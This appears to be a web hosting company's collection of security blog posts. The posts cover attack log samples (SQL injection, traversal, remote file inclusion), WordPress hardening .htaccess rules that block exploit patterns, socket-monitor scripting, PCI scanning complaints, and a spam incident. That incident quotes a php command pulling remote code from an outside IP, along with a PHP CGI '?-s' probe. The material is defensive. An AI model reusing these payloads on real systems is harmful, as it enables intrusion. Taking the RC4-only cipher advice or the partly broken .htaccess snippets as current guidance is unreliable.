That’s right, everyone is a potential target — not just the big names, not just the rich companies, etc.

Now, web-based hack attempts come in many forms ranging from brute force to SQL injections.

Here’s a list of the common types including links to their definitions:

• Brute Force Attack
• Cross Site Scripting Attack
• Directory Traversal Attack
• Local file inclusion
• Remote file inclusion
• SQL Injection attack

I would like to share with you what each of the above types looks like from a log file or security report perspective.

The following comes from our proactive security monitoring service as well the reports we receive from our global security service.

I’m going to start off with the most common type we see which is remote file inclusion:

184.107.145.18 - - [06/Sep/2012:01:13:27 -0400] "GET /packages//wp-content/themes/metamorphosis/functions/thumb.php?src=http://www.blogger.com.moulinsaeau-41.org/cache.php HTTP/1.1" 404 3612 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2)

The above is timthumb attack where the attacker believes the Metamorphosis theme for WordPress if vulnerable; and they are trying to include the code from http://www.blogger.com.moulinsaeau-41.org/cache.php through the potential vulnerability.

The next type is an SQL injection attack:

84.235.73.226 - - [09/Sep/2012:01:16:03 +0100] "GET /merchandise.php?id=-999.9%20UNION%20ALL%20SELECT%20(SELECT%20distinct%20concat(0x7e,0x27,Hex(cast(table_name%20as%20char)),0x27,0x7e)%20FROM%20information_schema.tables%20Where%20table_schema=0x6A6F686E73746F6E5F6965%20limit%200,1),2,3,4,5-- HTTP/1.1" 500 3506 "-" "-" UEvfw1Qz7pgAAGfUdE0 "-"

The next is a directory traversal attack:

195.157.13.221 - - [05/Sep/2012:21:28:20 +0100] "GET /vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?module_name=../../../../../../../..//etc/amportal.conf%00 HTTP/1.1" 500 3506 "-" "-" UEe15FQz7pAAABD2KuM "-"

What follows is an example of a local file inclusion:

190.90.209.251 - - [05/Sep/2012:18:13:46 +0100] "GET /phpMyAdmin//config/config.inc.php?eval=echo%20md5(123); HTTP/1.1" 500 3506 "-" "-" UEeISlWFNc8AABl2Nvw "-"

Below are two examples of brute force — one for SSH, the other for email:

sshd[21192]: Invalid user deploy from 64.185.229.239
vpopmail[7134]: vchkpw-pop3: vpopmail user not found webmaster@:88.43.116.246

Do you review your hosting log files on a regular basis to see what attacks are getting through or being blocked?

Is your provider doing this for you?

Please let us know your questions and thoughts in the comments below.

If you asked me from September 2012 forward, the answer would change dramatically with WordPress Brute Force Attacks now exceeding 50% of all attacks being reported.

If you review your or your hosting provider reviews your web site’s access logs on a regular basis, you can tell if there are Brute Force attacks being attempted on your WordPress site by seeing multiple requests to access the file wp-login.php from the same IP address over and over again. Sometimes it might be a single request every x period of time; other times it might be scores of requests from the same IP address. By the way, are you or your provider regularly checking your web site access logs for abuse?

How can you protect yourself against WordPress Brute Force attacks?

1. Use strong passwords that are at least 12 wide which are unique to the user id and the application / device (you never re-use the same password for anything).
2. Change your password every 90 days; and never re-use the same password from the past. Alternate the width of the password each time, never going less than 12 wide.
3. Make sure your WordPress was installed in a secure manner. If your WordPress was installed by a hosting automation system rather than manually, the installation is insecure. Use the WordPress Hardening Codex to go through and harden your WordPress installation or ask your designer or hosting provider to do it for you.
4. Go through the excellent check lists and articles at the WordPress Security Checklist site.
5. If you can take advantage of limiting access to wp-config.php by IP address, then do so.
6. Consider using plugins like More Security Login, Login Security Solution, and Limit Login Attempts.
7. Consider using a hosting provider like our company that does review the logs for you, has intrusion systems in place to catch and stop most break in attempts, who does free daily backups and free restores who will work with you to keep your site secure.

Since nothing is hacker proof, should you find your WordPress site hacked, see our Site Security page for what we recommend for you to do (if you host with us, we do the clean up 100% in-house).

Do you have your own suggestions for how to protect against WordPress Brute Force Attacks? Let us know in the comment area below.

The caveat we’ve experienced over the years is that when you receive an LSM alert that might involve malicious malware or hacker activity on the server running LSM, you sometimes have milliseconds to log onto the server to hopefully catch the application opening sockets red handed.

I often agree necessity is the mother of invention, and I would like to share what we’ve done to extend the Linux Socket Monitor (LSM) to provide running process information, not just the netstat lines.

The extension requires modifying three files in /usr/local/lsm – I do suggest you backup all three files:

• /usr/local/lsm/conf.lsm
• /usr/local/lsm/lsm
• /usr/local/lsm/status.lsm

For /usr/local/lsm/conf.lsm we are going to be adding four (4) lines:

PORTS="$INSPATH/dat/ports.list"
PIDS="$INSPATH/dat/pids.list"
DIFF_NET_FILE="$INSPATH/dat/diff_net.list"
PID_PROC_INFO="$INSPATH/dat/pid_proc.info"

For /usr/local/lsm/status.lsm the following needs to be added after the code

cat <$DIFF_NET
EOF

cat <

Finally, in /usr/local/lsm/lsm add the following after the following two lines:

echo "changes found in internet server sockets"

ALERT="true"

tmpf $PIDS
tmpf $PORTS
tmpf $DIFF_NET_FILE
tmpf $PID_PROC_INFO

echo $DIFF_NET > $DIFF_NET_FILE

grep -Po ">.*?\:(\d+)" $DIFF_NET_FILE  |awk -F":" '{print $2}' > $PORTS
for port in `cat $PORTS`; do
         netstat -anp | grep :$port | awk  '{print $7}' | awk -F\/ '{print $1}' >> $PIDS
done

for pid in `cat $PIDS`; do
    echo "========= START =========" >> $PID_PROC_INFO
    echo "lsof -p $pid"  >> $PID_PROC_INFO
    lsof -p $pid >> $PID_PROC_INFO
    echo "Information from /proc/$pid" >> $PID_PROC_INFO
    cat /proc/$pid/cmdline >> $PID_PROC_INFO
    cat /proc/$pid/environ >> $PID_PROC_INFO
    ls /proc/$pid/exe >> $PID_PROC_INFO
    cat /proc/$pid/status >> $PID_PROC_INFO
    ls -lab /proc/$pid/fd >> $PID_PROC_INFO
    echo "--------- END ---------" >> $PID_PROC_INFO
done

Special thanks to pdreissen in the Parallels H-Sphere forum for assistance with the grep and awk command to parse $DIFF_NET ports.

If this was your server, and you are the security administrator, what other information would you add?

Share your thoughts in the comments below.

This past weekend, I found out that some authorized PCI Compliance Scanning vendors will only grant you PCI Compliance status if your SSL Beast protection setup only allows for RC4-SHA and nothing else.

If you have such a vendor, then the following are the settings you would use in your Apache 2 httpd.conf configuration file:

SSLProtocol -ALL +SSLv3 +TLSv1
SSLCipherSuite RC4-SHA:HIGH:!ADH:!AES256-SHA:!ECDHE-RSA-AES256-SHA384:!AES128-SHA:!DES-CBC3-SHA:!DES-CBC3-MD5:!IDEA-CBC-SHA:!RC4-MD5:!IDEA-CBC-MD5:!RC2-CBC-MD5:!MD5:!aNULL:!EDH:!AESGCM
SSLHonorCipherOrder on                      

You can test your settings by running the following (preferably on another server):

openssl s_client -connect [ssl public machine]:443 -cipher RC4-SHA
openssl s_client -connect [ssl public machine name]:443 -cipher DES-CBC3-SHA
openssl s_client -connect [ssl public machine name]:443 -cipher AES256-SHA

And so on for the various ciphers; only the RC4-SHA should connect.

If you know of a more elegant way to adjust the SSLCipherSuite to only allow RC4-SHA please let us know using the comment form below.

Yet if you are the steward of any size business, fiduciary should be an active word in how you manage your business.

How does this relate to trust, security, and your business on the Internet? Let’s see.

In the recent past I’ve been involved in conversations with stewards of small businesses where the conversation went as follows.

Case 1:

Small business owner poses a problem in WordPress on their site in the LinkedIn WordPress Group.

One of the WordPress developers sends the small business owner a private message stating they would be happy to help fix the problem.

Small business owner sends over WordPress login credentials for his site; and shares on LinkedIn what’s going on.

I share with the owner they should change their WordPress login credentials once things are fixed.

Small business owner replies, “I trust ________; they’ve helped me in the past.”

What do you think is the Fiduciary responsibility of the owner?

Case 2:

Small business owner posts on Google+ concerning a tool that was shared with him by a “trusted” friend that checks if the LinkedIn password has been cracked.

I share the best practice is to avoid such tools altogether, to go directly to LinkedIn’s site and change the password directly with Linked In.

There are many reasons from the security of the site hosting the tool, who has access to the tool’s log files, the server’s log files, and what data the site is collecting from cookies and data entered.

The owner replied they trust the person who told them about the tool; and no one should ever question that person or the trust relationship.

What do you think is the Fiduciary responsibility of the owner?

I’ve worked for small to medium businesses over the past 30 some years.

I still remember working for my first medium business — American Equipment Leasing — when I was shocked to see the exit process of my manager (that was my first experience with best practice for when an employee is no longer an employee).

At the time I thought it was harsh that my boss was escorted to his desk, closely monitored while packing his personal belongings, escorted out, and in the mean time the information technology (IT) department given orders to make sure all access and clearance points were terminated.

I used to frown at the phrase, “it’s not personal, it’s business.” I would think to myself, it is personal? And in some cases, how personal can it get?

Yet, the bottom line is best practice doesn’t take into account feelings. Best practice takes into account doing what is right period.

It is not about trusting someone or not trusting someone. It is about taking 100% fiduciary responsibility for the task at hand.

Welcome back! Last week’s article, There are no wallflowers at the security dance! Get to know your dance partners covered getting to know your security dance partners:

If you are the business steward or a part of the management team, you already know the burden of responsibility for having a secure web site where your reputation, customers, sales, and business can be won or lost due to a defacement or other forms of security breaches.

While it is easy to say, “my web person handles that for me” or “I outsource it to so and so,” that does not mitigate the risk or otherwise make your life any easier if what you believe was going on, was not taking place.

Below is a check list you can use to help you take charge, and be the boss in the area of site security:

Verify that each dance partner is on the same page with you; and that they are doing their job.

You are the boss, and there will be times the partners need to be educated to pickup the pace, do their job, or be replaced.

In case you are wondering where we find in, here’s how the check list above looks for Dynamic Net, Inc.:

The overwhelming majority of our customers are small businesses who want peace of mind in knowing their hosting provider and the data centers used by their hosting provider are doing their job.

If you are not 100% happy that your hosting provider and their data center is doing their job in keeping your web site secure and safe, then contact us. We will be happy to talk with you or have an email conversation with you.

If you have your business on the Internet, you are a part of a line dance.

You can chose to be a wallflower, and face the consequences of doing nothing.

Or you can get to know your fellow dance partners (maybe picking replacements for ones that no longer fit), and be an active member of the security dance.

I have the privilege of communicating with small business stewards on an almost daily basis.

Some of the common things I read and hear concerning security are as follows:

• Don’t hackers just go after big companies?
• There’s nothing special about my web site that hackers would want.
• My hosting provider handles all of the security.

Unfortunately, all of the above statements have the business steward and their team being wallflowers rather than active participants in a perpetual dance that only ends when they stop having their business on the Internet.

Now, you might be ok being a wallflower at a social dance. Maybe you just go to sit and watch the other people dance. Maybe you just go for the music and the food. For a social dance, there’s little impact.

The impact for being a wallflower with a business on the Internet can lead to poor reputation, lost customers, lost income, and having to spend a lot of time to fix one or more situations that could have been prevented.

What does that mean?

While targeted hacking exists, the majority of hacking deals with vulnerabilities. Think of it like a gang going through the parking lot to see who was apathetic enough to leave their vehicle unlocked or that plus the keys still in the car.

This makes every single resource — web site, email, DNS, servers, routers, etc. — a target for hackers.

Now, let’s get back to dancing. I’m talking about old fashion slow dancing where you and your dance partner are close, hold hands, and watch out for one another on the dance floor.

Let’s relate that to a security dance, except rather than just two people dancing together, you have several in the form of a line dance.

Each dance partner needs to take as much responsibility in an active manner as they can to help and protect one another.

In this security dance, you have the following partners when you are looking specifically in the area of web hosting (including email, database and DNS):

• The business steward and their team.
• The web site designer and their team (if applicable — some small businesses do this in-house).
• The vendors of the applications installed by the above parties.
• The payment gateway(s) used by the above parties.
• The hosting provider.
• The data center(s) used by the hosting provider (if they don’t own their own; most do not).

Each dance partner plays a specific part in the dance; and, if the dance partner is not watching what they are doing, it will hurt more than having your foot stepped on, or falling off the ledge into a pool (like in It’s a Wonderful Life).

Now, let’s go over the responsibilities of each party in the security dance.

The data center should maintain SSAE 16 certification showing the data center management cares about quality assurance, processes, and procedures for maintaining quality.

The hosting provider should themselves have and maintain PCI Compliance. The hosting provider should also have each server secured (hardened against hackers) along with plans, policies, and procedures that keep the security up to date. The hosting provider should have plans, policies, and procedures in place to review server log files and reports throughout the day; and take appropriate action as necessary based on the daily review of those reports.

The payment gateway provider should have and maintain PCI Compliance, and have a history of taking security seriously including full disclosure of any past security breaches; and if there were any breaches, a written statement of what was done to prevent breaches of a similar nature from occurring in the future.

The application (content management systems like WordPress, Drupal, Joomla along with shopping carts etc) vendor is responsible for providing the business management team and their designer (in-house or external) with access to up to date software. They are responsible for writing secure code, and taking reports of vulnerable code seriously. Any vulnerability reports should be promptly handled by the application vendor development team providing patches and updates to their application in a timely manner.

The web site designer and their team (in-house or external) are responsible for applying application vendor provided updates and patches in a timely manner. This team should also be reviewing the site logs to see who is visiting the site, and how the site is being used.

The business steward — the buck stops here! — has the responsibility to check that each dance partner is doing their job.

In my next article, I plan to cover steps you can take as a business steward to make your life easier in being a part of this security dance; and in making sure your dance partners are dancing to the same tune for your benefit.

Please contact us if you have any questions.

Some house keeping first in terms of going over some terminology and a starting foundation.

A. You have systems that are as up to date (patched) as practically possible; and you have systems up to date period (no exceptions).

Those whose systems that are as up to date as practically possible will be on the latest versions (including patches) as provided by the vendor(s) of system(s) they are using.

Most small businesses cannot afford to have everything custom written for them, so it is common to see a small business use a system provided by a vendor that is mass marketed.

What are some examples as it relates to PCI Compliance Scans and the web? cpanel, Parallels H-Sphere, and Parallels Plesk where some of the components of the system are as only up to date as the vendor (cpanel and Parallels) provides.

While some vendors are faster than others at releasing updates and patches, and all of them to date are excellent at releasing critical security updates, customers do not have control over when the updates come out.

B. Nothing is hacker proof; you can have degrees of being resistance to being hacked. To state an electronic device / machine is hacker proof currently is an incorrect statement.

Now let’s lay the foundational perspective of the small business owner.

1. The small business owner’s site uses a mass market system (cpanel, H-Sphere, Plesk, etc.) that is as up to date as practically possible (which is different than up to date period).
2. The small business owner’s site is on a server that has the following security measures in place:

1. Servers are secured, and the operating system core components are up to date period.
2. Server security includes an adaptive IDS (intrusion detection system) that interacts with an adaptive firewall to block brute force and related attacks.
3. Server security includes a WAF (web application firewall — eg. modsecurity) that blocks cross site scripting attacks, SQL injection attacks, and RFI (remote file inclusion) attacks.
4. Server security includes consistent, frequent, alerts of what is being blocked along with trending.
5. Server security includes 3rd party scans (not directly related to PCI compliance vendors) that show green (with any non green issues being handled in 72 hours or less).

3. The applications used on the site are as up to date as practically possible (often times for site-based applications, it is easier to be up to date period than overall systems).

Now, the small business merchant sits back and sees they have a relatively high bar for being hacker resistant. They have a disaster recovery plan in place for when they will be hacked; and they are obeying the spirit of the PCI compliance standards and rules.

Here starts the small business gripes – complaints.

The small business provider hires an authorized PCI Compliant scanning vendor to do a scan.

The scanning vendor starts a scan, and the security systems in place on the target server see attacks coming in (let’s be frank, a scan is seeing what a hacker may try to break in — what is and is not allowed; and intrusion detection systems, at present, cannot differentiate from a simulated attack and a real one; so good systems block), and the security does what it is supposed to do when someone is attacking the system… It blocks the attack.

Now, in practical terms, you would think you’ve just proved the system is resistant enough for PCI Compliance. Right? After all, an attack run started, and the system reacted timely and blocked the attacks from continuing to occur; and you’ve reviewed the logs to see there was no break — the PCI Compliance scan was stopped before they got into the yard.

Yet that’s not what happens. The PCI Compliance scanning vendor cries foul play! How dare you treat their scans as you would any hacker. They need to be white listed. They want you to treat their machines and IP block special (as if you would ever purposely do that for a hacker).

Ok, you agree that they need to do a full scan to really test the security above and beyond any automated blocking systems. So you white list their IP addresses (typically it is a block).

The PCI Compliance scan kicks off again (time varies a lot but can be from two to ten hours depending on how aggressive is the scan), and the scan completes (they were not blocked).

As you review the results of the scan you see that various areas that PCI Compliance standards say should be blocked (this is different from blocking a scan) is blocked.

For example, on Apache mod_userdir needs to be disabled. You have it disabled, and the authorized PCI Compliance scan ran two to a dozen specific tests against mod_userdir each one showing that it was not enabled.

But because each test they did showed a different error message (bottom line it didn’t work), they flunked your scan. Even though hackers could not abuse it, and even though the PCI Compliance scanning vendor could not prove you have it enabled, because each test response varied (for the geeks — only responding with 403, 404, 500 inclusive), it’s a no go.

So now you work through those issues making sure that the error message is the same (remember mod_userdir was never enabled in the first place); and they re-scan.

This time you fail because a PCI DSS certified shopping cart using a valid, active (non expired), properly installed secure certificate allows the consumer to manually remove the “s” in “https” on the address bar and continue to shop with http (non SSL) vs. https (with SSL).

How many people do you know, who, while working to complete their shopping cart for a purchase will purposely go to the address bar to purposely remove the “s” in https (keeping in mind the entire process was using https to start and the only way to change it would be to remove the “s” that was there to start)? Where’s the reality check in PCI Compliance scan results?

Now, the small business merchant is in a bind. They are using a mass market shopping cart; and the developers might take three months to twenty-four months to come up with a programming change to handling this non realistic consumer issue. In the mean time, the small business merchant is not PCI compliant. Wow!

Now, your hosting provider comes to the rescue with an Apache mod_rewrite that basically puts the “s” back in “https” should it see a visitor in the shopping cart area with https off.

You now, think you are ok. You ask the PCI compliance vendor to do another scan.

Another two to ten hours pass, you fail again.

You review the results and you see everywhere where it really counts the PCI compliance scan could not find a fault or break in the actual, practical security. Even though they were white listed, they could not brute force. Even though they are white listed, the applications showed they were not vulnerable to XSS (cross site scripting), RFI (remote file injection), SQL (database) injections or other forms of attacks.

What in the world is going on? Why is the scan failing now???

You read the very long report only to find out the authorized PCI Compliance scanning vendor is now complaining the versions of your mass market system (i.e. database server, email server, FTP server, web server, etc.) are hiding version information.

Now, wait just one second! Best practices is to not disclose version information.

While almost all IDS (intrusion detection system) and firewalls have a means to white list on IP addresses, in 2012 there’s not an easy, practical means to disclose version information on an IP basis to some and not to others. For example, you either have the version for Apache on or off.

If you turn on the version information for the scan, that means for two to ten hours, your versions are showing for hackers all around the world (there is so much automation with hacking there is no “safe time” to be unsafe!!!).

So you tell them the versions… now you get kicked to the curb!!!

Even though for all practical purposes you have proven your systems and applications are as resistant as possible, because your versions are not up to date period, your compliance scan is marked as failing.

This is where the rubber meets the road. If you have systems in place so that being x version(s) behind still provide the same protection as if you were on the latest version, should the version matter?

Something has to change in favor of small businesses.

If the PCI Security Standards Council wants more and more small businesses to adopt PCI Compliance measures, then there needs to be people who are looking out for small business merchants.

Security matters, and must be a way of life for anyone connected electronically; however, living that life should not be so impractical or expensive to push small businesses away from the ecommerce dream.

If you manage, steward or otherwise own a small business, please consider contacting the PCI Security Standards Council Board of Advisors asking them review all authorized PCI Compliance Scanning firms to ensure small businesses are not being kicked to the curb due to regulations, rules, and enforcement which have either zero security implication or are otherwise unrealistic for small business to adopt.

Point them to this article and share your own experiences (especially so if you have them) with them.

Complaint summary:

1. Authorized PCI Compliance Scanning vendors ask to have their systems treated differently than hackers — i.e. allow my simulated attacks.
2. If you have something that should be off, off — and the scanning vendor shows it is off, get off the high horse about the error message for being off (off is off even if there’s a different error message).
3. If the small business merchant is using a PCI DSS certified ecommerce shopping system with an active, valid, properly installed secure certificate and the system directs shoppers to https, get off the high horse of what if the consumer removes the “s” questions; deal with the practical.
4. If the scan shows that zero (0) attacks succeeded (i.e. nothing got through — all vulnerabilities properly handled), then get off the high horse as it relates to versions.

I welcome your comments below.

Thank you.

Let me share steps you can take to make your WordPress site more secure against hackers.

Please note a number of the steps I will share are listed on Hardening WordPress, Official WordPress Codex article.

In May 2011, I shared with our readers about recommended .htaccess file settings for WordPress hosted on our servers.

Since then, I’ve been testing various changes to increase security as well as potentially enhance the performance of a site using the settings.

I’ve tested what I’m about to share extensively on our site at http://www.dynamicnet.net/ for the past several months.

If you have questions following what I’m sharing, please do ask in the comment area at the bottom of this article; but ultimately you may need to work things out with your hosting provider technical support. If your hosting provider cares about you as a person, as well as your business or hobby, they will help you in this area.

NOTE: If you are using a WordPress designer / developer, please have them review the .htaccess file we recommend to ensure it will not conflict with their work.

See Dynamic Net, Inc’s. recommended .htaccess starter file; feel free to copy it to notepad (do not use WordPad or Word unless you know how to save the file as a pure text file without any formatting or codes), and save that file as .htaccess to upload via FTP to the WordPress home directory (typically your domain directory or a blog directory) of your WordPress site.

Let’s go over our recommended .htaccess starter file:

A the top of every .htaccess file should be a measure to protect the .htaccess file itself from browser-based attacks.

order allow,deny
deny from all

Now, we want to tell the Web server there are certain files that no one should browse directly.

Order Deny,Allow
Deny from all

The above lines tell the Web server not to allow the direct browsing of wp-config.php, wp-cache-config.php, advanced-cache.php, php.ini, php5.ini, config.php, and db-config.ini.

Now, if you have a dedicated IP address, you can include an additional layer of protection:

#
#Order Deny,Allow
#Deny from all
#allow from [ip address 1 without brackets]
#allow from [ip address 2 without brackets and so on]
#

Simply fill in your IP address(es) — remove the second allow from if you only have one IP address — and uncomment all of the lines in order for the wp-login.php, install.php and readme.html file to only allowed to be accessed via the browser from the IP addresses so entered.

Next turn off directory indexes so that if someone browses a directory / folder for which you don’t have a default page set up, they will receive an access denied error message.

IndexIgnore *
Options All -Indexes

Next, if you are using a php error log, tell the Web server to deny direct access to the file

 Order allow,deny
 Deny from all
 Satisfy All

Please change the above file name to the file name you use on your web server. If you are not sure what to use, please contact your web hosting provider technical support department.

Next is a method of blocking common bandwidth abusers and hacking tools:

SetEnvIf user-agent "Indy Library" stayout=1
SetEnvIf user-agent "libwww-perl" stayout=1
SetEnvIf user-agent "Download Demon" stayout=1
SetEnvIf user-agent "GetRight" stayout=1
SetEnvIf user-agent "GetWeb!" stayout=1
SetEnvIf user-agent "Go!Zilla" stayout=1
SetEnvIf user-agent "Go-Ahead-Got-It" stayout=1
SetEnvIf user-agent "GrabNet" stayout=1
SetEnvIf user-agent "TurnitinBot" stayout=1
deny from env=stayout

Now we move onto turning on the Apache rewrite engine with the following:

RewriteEngine On
RewriteBase /

What follows is a series of protections against common types of exploits. What you see here can be applied to sites running Drupal, Joomla, and WordPress as well as other PHP-based sites.

RewriteCond %{QUERY_STRING} proc/self/environ [OR]
RewriteCond %{QUERY_STRING} mosConfig_[a-zA-Z_]{1,21}(=|\%3D) [OR]
RewriteCond %{QUERY_STRING} base64_(en|de)code[^(]*\([^)]*\) [OR]
RewriteCond %{QUERY_STRING} (|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
RewriteRule .* index.php [F]

RewriteCond %{REQUEST_METHOD} GET
RewriteCond %{QUERY_STRING} [a-zA-Z0-9_]=http:// [OR]
RewriteCond %{QUERY_STRING} [a-zA-Z0-9_]=(\.\.//?)+ [OR]
RewriteCond %{QUERY_STRING} [a-zA-Z0-9_]=/([a-z0-9_.]//?)+ [NC]
RewriteRule .* - [F]

RewriteCond %{QUERY_STRING} \=PHP[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12} [NC]
RewriteRule .* - [F]

RewriteCond %{QUERY_STRING} (;||'|"|\)|%0A|%0D|%22|%27|%3C|%3E|%00).*(/\*|union|select|insert|cast|set|declare|drop|update|md5|benchmark) [NC]
RewriteRule .* - [F]

Next come the WordPress specific settings for permalinks along with additional protection per the Hardening WordPress codex article.

RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]

RewriteRule ^wp-admin/includes/ - [F,L]
RewriteRule !^wp-includes/ - [S=3]
RewriteRule ^wp-includes/[^/]+\.php$ - [F,L]
RewriteRule ^wp-includes/js/tinymce/langs/.+\.php - [F,L]
RewriteRule ^wp-includes/theme-compat/ - [F,L]

The rest deal with optimizing the performance of the site itself.

    Header append Vary Accept-Encoding

AddOutputFilterByType DEFLATE text/html text/plain text/xml text/css text/javascript
AddOutputFilterByType DEFLATE application/xml application/xhtml+xml application/rss+xml
AddOutputFilterByType DEFLATE application/javascript application/x-javascript

BrowserMatch ^Mozilla/4 gzip-only-text/html
BrowserMatch ^Mozilla/4\.0[678] no-gzip
BrowserMatch \bMSI[E] !no-gzip !gzip-only-text/html

Header append Vary User-Agent env=!dont-vary

FileETag MTime Size

        # Enable expiration control
        ExpiresActive On

        # Default expiration: 1 hour after request
        ExpiresDefault "now plus 1 hour"

        # CSS and JS expiration: 2 week after request
        ExpiresByType text/css "now plus 2 weeks"
        ExpiresByType application/javascript "now plus 2 weeks"
        ExpiresByType application/x-javascript "now plus 2 weeks"

        # Image files expiration: 1 month after request
        ExpiresByType image/bmp "now plus 1 month"
        ExpiresByType image/gif "now plus 1 month"
        ExpiresByType image/jpeg "now plus 1 month"
        ExpiresByType image/jp2 "now plus 1 month"
        ExpiresByType image/pipeg "now plus 1 month"
        ExpiresByType image/png "now plus 1 month"
        ExpiresByType image/svg+xml "now plus 1 month"
        ExpiresByType image/tiff "now plus 1 month"
        ExpiresByType image/vnd.microsoft.icon "now plus 1 month"
        ExpiresByType image/x-icon "now plus 1 month"
        ExpiresByType image/ico "now plus 1 month"
        ExpiresByType image/icon "now plus 1 month"
        ExpiresByType text/ico "now plus 1 month"
        ExpiresByType application/ico "now plus 1 month"
        ExpiresByType image/vnd.wap.wbmp "now plus 1 month"
        ExpiresByType application/vnd.wap.wbxml "now plus 1 month"
        ExpiresByType application/smil "now plus 1 month"

        # Audio files expiration: 1 month after request
        ExpiresByType audio/basic "now plus 1 month"
        ExpiresByType audio/mid "now plus 1 month"
        ExpiresByType audio/midi "now plus 1 month"
        ExpiresByType audio/mpeg "now plus 1 month"
        ExpiresByType audio/x-aiff "now plus 1 month"
        ExpiresByType audio/x-mpegurl "now plus 1 month"
        ExpiresByType audio/x-pn-realaudio "now plus 1 month"
        ExpiresByType audio/x-wav "now plus 1 month"

        # Movie files expiration: 1 month after request
        ExpiresByType application/x-shockwave-flash "now plus 1 month"
        ExpiresByType x-world/x-vrml "now plus 1 month"
        ExpiresByType video/x-msvideo "now plus 1 month"
        ExpiresByType video/mpeg "now plus 1 month"
        ExpiresByType video/mp4 "now plus 1 month"
        ExpiresByType video/quicktime "now plus 1 month"
        ExpiresByType video/x-la-asf "now plus 1 month"
        ExpiresByType video/x-ms-asf "now plus 1 month"

If you are using a stock WordPress .htaccess file that just contains the mod_rewrite statements for permalinks (see settings, Permalinks in your WordPress administration area), then you should be safe to replace the .htaccess file with the .htaccess file what we recommend for security and performance

.

However, if you have a lot of settings already present above and beyond the normal permalinks, you would need to see what can be replaced or otherwise merged in.

Please contact us if you are one of our hosting customers, and we will do this for you freely. If you are not hosting with us, your own hosting provider technical support department should be happy to help you determine what can be replaced / merged or ignored for your particular environment.

While they knew the domain names of sites they host involved in sending the spam, they were not able to see how this was happening.

The code on the sites looked clean. Anti-virus scans on the sites came back clean.

Sucuri Security scans of the site showed clean; and the web site was on zero black lists.

Yet, they had the actual spam emails with the email header pointing to the index.php of the sites in question.

Once I got access to the server, I was able to review the processes that were running.

What do I see?

php -dsafe_mode=Off -ddisable_functions=NULL -dallow_url_fopen=On -dallow_url_include=On -dauto_prepend_file=http://81.17.24.83/send.txt

In English, the attacker was using the site as an engine to run the code at http://81.17.24.83/send.txt which in and of itself was PHP code.

Quality assurance always matters, so I reviewed the web site access logs, and found each attempt to use the above type logic worked.

As final confirmation, I browsed the sites home page and appended “?-s” to the home page so it looked like http://domain_goes_here/index.php?-s

What I saw proved the point — rather than seeing the home page, I saw the PHP code including the database login credentials which would allow any hacker to really dive in and deface the site, steal data, etc.

What does it mean when “?-s” is appended to a PHP page and you see code?

It means the site, and most likely the entire server, is vulnerable to the PHP CGI vulnerability which came out in May 2012 (the vulnerability existed for several years; but was published in May).

In terms of a lesson to pass on, if you have one or more web sites you suspect are sending out spam or otherwise being abused by hackers but everything else looks clean, check if the site(s) involved are vulnerable to the PHP CGI attack vector.

Do you have some tips to share for finding hacks and malware where everything else looks innocent?

Please share them by putting in your comments.

Thank you.

P.S. Sucuri Security does a great job. Their scanner not reporting hacks or malware was 100% accurate. There were no hacks or malware on the site that was scanned; it was an issue of vulnerable code being abused. I did pass on a suggestion to the Sucuri team to check for the PHP CGI vulnerability as part of the excellent service.